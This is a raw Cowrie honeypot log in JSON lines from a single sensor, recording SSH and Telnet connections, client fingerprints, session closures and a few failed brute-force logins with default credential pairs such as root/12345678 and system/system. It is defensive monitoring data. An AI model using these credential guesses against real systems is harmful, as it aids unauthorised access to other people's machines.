{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:45.476193Z","src_ip":"47.239.15.75","session":"414b3b8a7eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:46.568102Z","src_ip":"47.239.15.75","session":"414b3b8a7eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:51.747968Z","src_ip":"47.239.15.75","session":"414b3b8a7eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55834,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a79603f0697","protocol":"telnet","message":"New connection: 45.58.127.90:55834 (10.17.0.5:23) [session: 8a79603f0697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:54.056086Z"}
{"eventid":"cowrie.session.closed","duration":38.14038038253784,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:54.193544Z","src_ip":"45.58.127.90","session":"521388016962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":35946,"dst_ip":"159.203.135.109","dst_port":22,"session":"87ac1b51d5bb","protocol":"ssh","message":"New connection: 47.239.15.75:35946 (159.203.135.109:22) [session: 87ac1b51d5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:55.790526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:57.102472Z","src_ip":"47.239.15.75","session":"87ac1b51d5bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:57.112048Z","src_ip":"47.239.15.75","session":"87ac1b51d5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:05:57.739208Z","src_ip":"47.239.15.75","session":"414b3b8a7eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46388,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ed36aeb54f6","protocol":"telnet","message":"New connection: 45.58.127.90:46388 (10.17.0.5:23) [session: 3ed36aeb54f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:08.319035Z"}
{"eventid":"cowrie.session.closed","duration":39.116761445999146,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:20.548394Z","src_ip":"45.58.127.90","session":"8268557ed2d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46404,"dst_ip":"10.17.0.5","dst_port":23,"session":"78ce19cd58e7","protocol":"telnet","message":"New connection: 45.58.127.90:46404 (10.17.0.5:23) [session: 78ce19cd58e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:20.692696Z"}
{"eventid":"cowrie.session.closed","duration":0.8291420936584473,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:21.521736Z","src_ip":"45.58.127.90","session":"78ce19cd58e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.35214352607727,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:21.691605Z","src_ip":"45.58.127.90","session":"4dc4e860175c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.78422141075134,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:24.920192Z","src_ip":"147.182.143.59","session":"cb592fbee448","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.785744190216064,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:29.841714Z","src_ip":"45.58.127.90","session":"8a79603f0697","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:41.221170Z","src_ip":"47.239.15.75","session":"87ac1b51d5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"54.7","message":"Connection lost after 54.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:50.462025Z","src_ip":"47.239.15.75","session":"87ac1b51d5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.419838190078735,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:06:51.738733Z","src_ip":"45.58.127.90","session":"3ed36aeb54f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34542,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55a88908aa2","protocol":"telnet","message":"New connection: 45.58.127.90:34542 (10.17.0.5:23) [session: e55a88908aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:10.419604Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"97e0616a7657","protocol":"ssh","message":"New connection: 47.239.15.75:60392 (159.203.135.109:22) [session: 97e0616a7657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:21.354396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:21.358484Z","src_ip":"47.239.15.75","session":"97e0616a7657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"8659e966eca5","protocol":"telnet","message":"New connection: 147.182.143.59:48102 (159.203.135.109:23) [session: 8659e966eca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:26.353924Z"}
{"eventid":"cowrie.session.closed","duration":10.039573669433594,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:36.393353Z","src_ip":"147.182.143.59","session":"8659e966eca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58668,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2faaa451968","protocol":"ssh","message":"New connection: 47.239.15.75:58668 (159.203.135.109:22) [session: b2faaa451968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:49.858474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:51.003957Z","src_ip":"47.239.15.75","session":"b2faaa451968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.34523034095764,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:51.764718Z","src_ip":"45.58.127.90","session":"e55a88908aa2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:51.889589Z","src_ip":"47.239.15.75","session":"b2faaa451968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:58.705924Z","src_ip":"47.239.15.75","session":"b2faaa451968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58162,"dst_ip":"10.17.0.5","dst_port":23,"session":"d841272f24f6","protocol":"telnet","message":"New connection: 45.58.127.90:58162 (10.17.0.5:23) [session: d841272f24f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:59.827528Z"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:07:59.921037Z","src_ip":"47.239.15.75","session":"b2faaa451968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.129.156","src_port":34130,"dst_ip":"10.17.0.5","dst_port":22,"session":"94666cedfaf9","protocol":"ssh","message":"New connection: 45.156.129.156:34130 (10.17.0.5:22) [session: 94666cedfaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:06.777928Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:06.783393Z","src_ip":"45.156.129.156","session":"94666cedfaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.129.158","src_port":38482,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c8488f1849","protocol":"ssh","message":"New connection: 45.156.129.158:38482 (10.17.0.5:22) [session: 19c8488f1849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:06.820304Z"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:11.913054Z","src_ip":"45.156.129.158","session":"19c8488f1849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.129.157","src_port":35246,"dst_ip":"10.17.0.5","dst_port":22,"session":"85e57734b11f","protocol":"ssh","message":"New connection: 45.156.129.157:35246 (10.17.0.5:22) [session: 85e57734b11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:12.039341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.9","message":"Remote SSH version: SSH-2.0-OpenSSH_8.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:12.049850Z","src_ip":"45.156.129.157","session":"85e57734b11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:17.112273Z","src_ip":"45.156.129.157","session":"85e57734b11f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46640,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcd9006795b","protocol":"telnet","message":"New connection: 45.58.127.90:46640 (10.17.0.5:23) [session: ffcd9006795b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:31.734087Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46644,"dst_ip":"10.17.0.5","dst_port":23,"session":"6faad072e5cf","protocol":"telnet","message":"New connection: 45.58.127.90:46644 (10.17.0.5:23) [session: 6faad072e5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:32.459258Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":58486,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1f3b2fc181","protocol":"ssh","message":"New connection: 47.239.15.75:58486 (159.203.135.109:22) [session: 1f1f3b2fc181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:34.134521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:40.080509Z","src_ip":"47.239.15.75","session":"1f1f3b2fc181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:40.279471Z","src_ip":"47.239.15.75","session":"1f1f3b2fc181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57959508895874,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:44.407004Z","src_ip":"45.58.127.90","session":"d841272f24f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41242,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb55922adea5","protocol":"telnet","message":"New connection: 45.58.127.90:41242 (10.17.0.5:23) [session: cb55922adea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:08:47.557356Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55830,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bd4d409c77a","protocol":"telnet","message":"New connection: 45.58.127.90:55830 (10.17.0.5:23) [session: 0bd4d409c77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:03.261501Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3762105536ba","protocol":"telnet","message":"New connection: 45.58.127.90:55844 (10.17.0.5:23) [session: 3762105536ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:03.319602Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:05.336270Z","src_ip":"47.239.15.75","session":"1f1f3b2fc181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7252464294433594,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:06.986608Z","src_ip":"45.58.127.90","session":"0bd4d409c77a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0a41b2c9ba","protocol":"telnet","message":"New connection: 45.58.127.90:55850 (10.17.0.5:23) [session: 7e0a41b2c9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:08.310776Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51492,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b90224e244b","protocol":"telnet","message":"New connection: 45.58.127.90:51492 (10.17.0.5:23) [session: 4b90224e244b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:11.607521Z"}
{"eventid":"cowrie.session.closed","duration":41.46739745140076,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:13.201411Z","src_ip":"45.58.127.90","session":"ffcd9006795b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"39.7","message":"Connection lost after 39.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:13.790342Z","src_ip":"47.239.15.75","session":"1f1f3b2fc181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3903648853302,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:16.849517Z","src_ip":"45.58.127.90","session":"6faad072e5cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:21.363449Z","src_ip":"47.239.15.75","session":"97e0616a7657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38544,"dst_ip":"10.17.0.5","dst_port":23,"session":"66caec8bb2b4","protocol":"telnet","message":"New connection: 45.58.127.90:38544 (10.17.0.5:23) [session: 66caec8bb2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:21.973940Z"}
{"eventid":"cowrie.session.closed","duration":37.026293992996216,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:24.583533Z","src_ip":"45.58.127.90","session":"cb55922adea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.839296102523804,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:45.158763Z","src_ip":"45.58.127.90","session":"3762105536ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.701510429382324,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:49.012140Z","src_ip":"45.58.127.90","session":"7e0a41b2c9ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.256487131118774,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:51.863929Z","src_ip":"45.58.127.90","session":"4b90224e244b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dfb843564d4","protocol":"telnet","message":"New connection: 147.182.143.59:35434 (159.203.135.109:23) [session: 9dfb843564d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:09:57.203124Z"}
{"eventid":"cowrie.session.closed","duration":38.43615770339966,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:00.409965Z","src_ip":"45.58.127.90","session":"66caec8bb2b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.912267446517944,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:11.115265Z","src_ip":"147.182.143.59","session":"9dfb843564d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb69003d0b7","protocol":"telnet","message":"New connection: 45.58.127.90:55880 (10.17.0.5:23) [session: ceb69003d0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:10:12.597755Z"}
